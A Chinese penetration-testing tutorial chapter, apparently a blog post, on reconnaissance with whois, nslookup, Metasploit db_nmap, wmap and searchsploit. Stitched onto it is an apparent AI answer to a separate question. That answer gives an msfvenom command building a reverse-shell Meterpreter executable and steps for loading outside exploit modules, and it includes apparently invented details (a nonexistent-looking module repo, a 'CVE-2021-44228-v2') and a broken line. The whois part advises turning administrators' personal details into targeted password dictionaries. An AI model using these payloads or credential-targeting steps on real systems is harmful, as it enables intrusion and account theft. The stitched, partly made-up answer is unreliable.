第三章-2 MSF扫描漏洞模块

本文深入探讨了渗透测试中的关键环节,包括信息收集、扫描模块、自动化扫描插件及漏洞库小工具的运用。从whois查询到DNS记录解析,再到msf的db_nmap和wmap插件使用,最后介绍了searchsploit漏洞库的使用方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

本文内容:
		~信息收集
		~扫描模块
		~自动化扫描插件
		~漏洞库小工具

一、信息收集

	1,whois进阶收集信息
	
				https://www.benmi.com/whoishistory/		查询某站历史Whois信息
				https://www.reg007.com/					手机号注册过哪些网站
			
			危害:
					通过whois找到对方的管理员信息,例如名字,邮箱电话等,
					进行密码组合生成新密码组合生成针对性的密码字典
					
					密码存在规律性,可破解性,对应性(撞库)
			
			利用:
					在线密码生成:https://www.bugku.com/mima/
					注意,这样的网站,在生成字典的同时,也是可以保存你生成字典的内容的
			
					在线密码生成工具源码(内涵多种web漏洞生成):
							~下载源码
								PoCBox 辅助测试平台		https://github.com/gh0stkey/PoCBox
							~安装phpstudy
							~将下载的源码放在www文件夹下
							~浏览器通过127.0.0.1访问该文件夹内的文件
			
					问:怎么知道自己有没有信息泄露:
							https://monitor.firefox.com/	
							https://haveibeenpwned.com/
							
						利用:
							得到别人的账号信息
							可以去测试别人的密码是不是泄露过,反向查找对方的信息
	
							
					
					扩展:值得一提的是,kali自带whois(一款工具),可以直接使用
						  例如:whois www.baidu.com		//和站长工具查询结果很类似

	2,DNS记录解析查询工具(nslookup工具)
			
			问:使用nslookup的作用?
					nslookup检测dns记录的工具,我们可以去查找对方的DNS服务器

			两种模式:
				~非交互模式
						问:什么是非交互模式?
						答:就将要查询的网站直接跟在后边
								
								格式: nslookup –qt=类型 目标域名    (默认查询类型是a 地址记录IPV4)
					    		示例: nslookup -qt=ns www.baidu.com
					
				~交互模式
						问:什么是交互模式?
						答:就是先打开工具,在输入所要查询的网站
						
								步骤:
										nslookup 				进入交互行模式
									    set qt=类型             设定查询类型,默认设置为a
									    IP或域名  
				
				             	其他命令:
									    set qt=另一个类型       切换查询类型      
									    help or ?              查看帮助
									    exit                    退出nslookup交互模式
					
								示例:
										nslookup
										set qt=ns
										www.baidu.com
			
			补充:
					什么是A记录、别名记录(CNAME)、MX记录、TXT记录、NS记录
					https://www.22.cn/help_34.html
					
					在线nslookup:
					http://tool.chinaz.com/nslookup/

二、扫描模块

	1,作用
			扫描模块的作用就是帮助我们进行信息收集
	
	2,msf内的收集信息工具
			~db_nmap介绍:	
					MSF内置强大的端口扫描工具Nmap,为了更好的区别,内置命令为:db_nmap。
					并且会自动存储nmap扫描结果到数据库中,方便快速查询已知存活主机,
					以及更快捷的进行团队协同作战,使用方法与nmap一致。
					也是在实战中最常用到的发现内网存活主机方式之一。
			
			问:这个内置的db_nmap与nmap有什么联系?
			答:就是msf可以调用kali自带的nmap,如果kali中没有nmap的话,该命令也不能被执行。
			
			示例:	使用命令,db_nmap 例如:db_nmap -sV -v 192.168.1.2
					扫描系统和程序版本号检测,并且输出详细信息
					有点忘记nmap的命令,同学们就回去补补课吧。

三、自动化扫描插件

	~wmap(自动化扫描插件 )
			常用命令(步骤):
					msf>load wmap               	加载插件
					msf>wmap_sites -a url         	添加目标
					msf>wmap_targets -t url      	添加目标URL地址
					msf>wmap_run -e                 测试目标
					msf>wmap_vulns                  查看漏洞详细信息
				
					示例:
							~msfconsole
							~load wmap
							~wmap_sites -a www.baidu.com
							
						此时,可以用查看一下有没有添加成功
							~wmap_sites -l
							
						若是多个,可以删除一部分
							~wmap_sites -d 0		==这个0是ID;-d是删除的意思
							
							wmap_targets -d 0		==将ID为0的IP添加到targets中,我也不太明白这的“添加”怎么成了-d,但是我没写错
							wmap_targets -l			==查看有没有添加成功
							
							wmap_run -e				==进行测试
							wmap_vulns				==查看结果
			
	问:我们如何使用msf的自动化插件?
			我们用命令load -l 可以所有的插件支持的插件,
			例如使用命令:loal wmap 回车即可,我们就加载了wmap插件,
			我们使用help命令就可以查看到插件的使用参数

	问:自动化插件wmap的主要作用是啥?
			调用我们的辅助模块进行信息收集,可以通过搜索找到我们想要的模块进行测试即可
	
	问:wmap功能和 awvs或者burp的scarn这些差不多么
			不一样,wmap的作用差一点,wmap主要调用我们模块进行信息收集,专业的事儿,还是给专业的软件做

四、漏洞库小工具

漏洞库 - searchsploit
		
		1,用法
				searchsploit -t 某服务			搜索某漏洞
			
				示例:	
						searchsploit -t ftp
						searchsploit -t ssh
						
		2,作用
				离线漏洞数据库帮助我们在测试时候找到对方的POC或者是利用脚本
		
		3,官方使用手册
				https://www.exploit-db.com/searchsploit
				
				
	问:找到 CVE 但是不知道这个CVE是MSF那个模块
			我们通过这个数据库平台搜索即可
			https://www.exploit-db.com/?platform=multiple

	问:没英语基础很多地方看不懂
			1.翻译 2. 学习英语
			3. 送大家几个GitHub的英语学习项目
					https://github.com/xiaolai/everyone-can-use-english
					https://github.com/yujiangshui/A-Programmers-Guide-to-English
					在线阅读:https://a-programmers-guide-to-english.harryyu.me/
<think>嗯,用户之前问过如何将Nessus和AWVS的结果导入到Metasploit中利用,现在他们的问题是如果在导入之后,msf6中没有对应的漏洞利用模块怎么办。首先,我需要理解用户的具体情况。他们已经成功导入了扫描结果,但在Metasploit中找不到相应的利用模块。这可能是因为扫描到的漏洞在Metasploit中没有对应的公开模块,或者用户对模块的搜索方法不太熟悉。 接下来,我应该考虑用户可能的背景。他们可能是一个刚开始学习渗透测试的人,或者有一定经验但不太熟悉Metasploit的高级功能。用户可能对Metasploit的模块管理、搜索技巧以及如何扩展模块库不太清楚。需要详细解释可能的解决方案,并给出具体的步骤,确保用户能够理解和操作。 用户的需求是解决找不到漏洞利用模块的问题,深层需求可能是希望有效利用扫描结果进行漏洞验证或攻击,确保渗透测试的顺利进行。需要提供多种解决方法,包括检查模块是否存在、更新Metasploit、使用外部模块、自行开发模块、替代验证方法以及利用其他工具。此外,需要强调漏洞验证的注意事项,避免用户误操作。 可能的解决方案包括:检查模块是否存在,更新Metasploit到最新版本,使用search命令的正确方法,添加外部模块,自行编写模块,使用其他验证方法,或者结合其他工具。需要详细说明每个步骤,例如如何更新,如何添加外部模块,如何利用其他工具验证漏洞是否存在。 还需要考虑用户可能遇到的常见问题,比如模块名称与CVE编号不一致,或者模块存在于其他分类中。这时候,建议用户使用更灵活的关键词搜索,或者查找官方文档。同时,提醒用户即使没有现成模块,也可以使用其他方法验证漏洞,比如手动测试或使用其他工具。 最后,需要以清晰的结构呈现这些解决方案,分步骤说明,并给出实际例子,帮助用户更好地理解和操作。同时,强调安全测试的合法性和授权的重要性,避免用户进行未经授权的测试。</think>以下是当Metasploit中缺少对应漏洞利用模块时的系统化解决方案: --- ### 一、基础排查阶段 #### 1. 精确验证模块存在性 ```bash msf6> search cve:2023-1234 # 按CVE编号精确检索(替换实际编号) msf6> search type:exploit samba # 按服务类型模糊检索 msf6> search eternalblue # 按漏洞通用名检索 ``` #### 2. 版本兼容性检查 ```bash msf6> version # 查看当前版本 $ sudo msfupdate # 升级到最新版(需root权限) $ git pull /opt/metasploit-framework # 手动更新(若通过Git安装) ``` --- ### 二、模块拓展方案 #### 1. 加载外部模块库 ```bash # 创建自定义模块目录 mkdir -p ~/.msf4/modules/exploits/custom # 下载社区模块示例(以CVE-2021-3156为例): wget https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/linux/sudo/sudo_heap.rb -P ~/.msf4/modules/exploits/custom/ # 重新加载模块 msf6> reload_all ``` #### 2. 使用第三方框架集成 ```bash # 安装Awesome Metasploit插件库 git clone https://github.com/rapid7/metasploit-extra-modules cp -r metasploit-extra-modules/* /usr/share/metasploit-framework/modules/ ``` --- ### 三、高级应对策略 #### 1. 模块反向移植(以旧版模块适配新环境) ```ruby # 示例:修改模块的Targets区块 'Targets' => [ [ 'Windows 10 v1809', { 'Arch' => ARCH_X64, 'Platform' => 'win', 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } } ] ] ``` #### 2. 利用MSFVenom生成定制Payload ```bash # 针对特定漏洞生成Shellcode msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe > exploit.exe ``` --- ### 四、替代验证方案 #### 1. 使用辅助验证模块 ```bash msf6> use auxiliary/scanner/smb/smb_ms17_010 # 即使没有攻击模块,也能验证漏洞存在性 msf6> set RHOSTS 192.168.1.0/24 msf6> run ``` #### 2. 结合Nmap脚本验证 ```bash nmap -p 445 --script smb-vuln-ms17-010 192.168.1.100 # 使用NSE脚本二次确认 ``` --- ### 五、模块开发基础 #### 1. 创建模块模板 ```ruby class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Custom Exploit Demo', 'Description' => %q{ Proof of Concept for CVE-XXXX-XXXX }, 'Platform' => 'win', 'Author' => [ 'Your Name' ], 'Payload' => { 'Space' => 1024 } )) end def exploit connect # 在此处编写漏洞利用逻辑 disconnect end end ``` #### 2. 调试模块 ```bash msf6> debug # 进入调试模式 msf6> reload # 动态加载修改后的模块 ``` --- ### 六、官方资源指引 1. **Metasploit模块库** https://github.com/rapid7/metasploit-framework/tree/master/modules 2. **漏洞数据库交叉验证** https://www.rapid7.com/db/modules 3. **CVE详细信息查询** https://cve.mitre.org/ --- ### 关键注意事项 1. **漏洞生命周期判断** - 检查CVE是否已被撤销(如:CVE-2021-44228-v2- 确认漏洞是否在目标系统真实存在 2. **合法性验证** ```bash msf6> check # 在可用模块中使用验证功能(约30%模块支持) ``` 3. **漏洞武器化时间差** - 重要漏洞通常在披露后2-4周出现MSF模块 - 可关注https://www.exploit-db.com/ 获取最新PoC --- 通过上述方法,即使Metasploit原生缺少对应模块,仍可通过多种技术手段实现漏洞验证与利用。建议建立本地漏洞知识库(如:安装[AttackerKB](https://attackerkb.com/)),提升漏洞研究效率。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

划水的小白白

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值